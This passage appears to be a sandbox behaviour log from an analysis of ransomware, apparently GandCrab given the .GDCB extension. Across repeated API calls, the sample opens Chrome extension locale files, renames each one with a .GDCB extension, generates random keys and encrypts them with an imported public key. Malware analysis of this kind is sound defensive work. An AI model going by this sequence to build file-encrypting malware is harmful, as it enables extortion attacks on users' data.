Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0253.965] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0253.968] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0253.971] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdf, lpOverlapped=0x0) returned 1 [0253.980] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0253.987] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.gdcb")) returned 1 [0253.992] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0253.995] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.998] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.998] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.998] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0253.998] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.000] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.003] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.003] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.003] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.003] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.005] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782588) returned 1 [0254.005] CryptGetKeyParam (in: hKey=0x6782588, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.005] CryptEncrypt (in: hKey=0x6782588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.006] GetLastError () returned 0x0 [0254.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.006] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.007] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782fc8) returned 1 [0254.007] CryptGetKeyParam (in: hKey=0x6782fc8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.007] CryptEncrypt (in: hKey=0x6782fc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.008] GetLastError () returned 0x0 [0254.008] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.008] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.009] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.012] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.014] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdd, lpOverlapped=0x0) returned 1 [0254.025] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.036] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.gdcb")) returned 1 [0254.044] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0254.047] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.050] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.050] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.050] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.050] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.053] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.056] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.056] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.056] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.056] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.059] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782a88) returned 1 [0254.060] CryptGetKeyParam (in: hKey=0x6782a88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.060] CryptEncrypt (in: hKey=0x6782a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.060] GetLastError () returned 0x0 [0254.060] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.060] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.063] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782d08) returned 1 [0254.063] CryptGetKeyParam (in: hKey=0x6782d08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.063] CryptEncrypt (in: hKey=0x6782d08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.063] GetLastError () returned 0x0 [0254.063] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.063] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.065] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.069] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.072] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd6, lpOverlapped=0x0) returned 1 [0254.083] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.100] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.gdcb")) returned 1 [0254.108] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.112] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.116] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.116] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.116] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.116] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.120] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.124] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.124] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.124] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.125] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.127] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782988) returned 1 [0254.128] CryptGetKeyParam (in: hKey=0x6782988, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.128] CryptEncrypt (in: hKey=0x6782988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.128] GetLastError () returned 0x0 [0254.128] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.128] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0254.131] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782e08) returned 1 [0254.131] CryptGetKeyParam (in: hKey=0x6782e08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.131] CryptEncrypt (in: hKey=0x6782e08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.131] GetLastError () returned 0x0 [0254.131] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.131] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.133] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.136] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.139] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd9, lpOverlapped=0x0) returned 1 [0254.148] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.159] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.gdcb")) returned 1 [0254.164] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.167] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.170] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.170] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.170] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.170] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.173] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.175] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.175] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.175] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.175] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.178] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782908) returned 1 [0254.178] CryptGetKeyParam (in: hKey=0x6782908, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.178] CryptEncrypt (in: hKey=0x6782908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.178] GetLastError () returned 0x0 [0254.178] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.178] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.180] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782a48) returned 1 [0254.180] CryptGetKeyParam (in: hKey=0x6782a48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.180] CryptEncrypt (in: hKey=0x6782a48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.180] GetLastError () returned 0x0 [0254.180] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.180] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.181] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.184] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.186] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe0, lpOverlapped=0x0) returned 1 [0254.195] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.202] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.gdcb")) returned 1 [0254.207] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.212] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.212] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.212] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.212] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.214] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.216] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.216] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.216] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.217] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.219] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782d88) returned 1 [0254.219] CryptGetKeyParam (in: hKey=0x6782d88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.219] CryptEncrypt (in: hKey=0x6782d88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.220] GetLastError () returned 0x0 [0254.220] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.220] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.222] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782888) returned 1 [0254.222] CryptGetKeyParam (in: hKey=0x6782888, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.222] CryptEncrypt (in: hKey=0x6782888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.222] GetLastError () returned 0x0 [0254.222] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.222] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 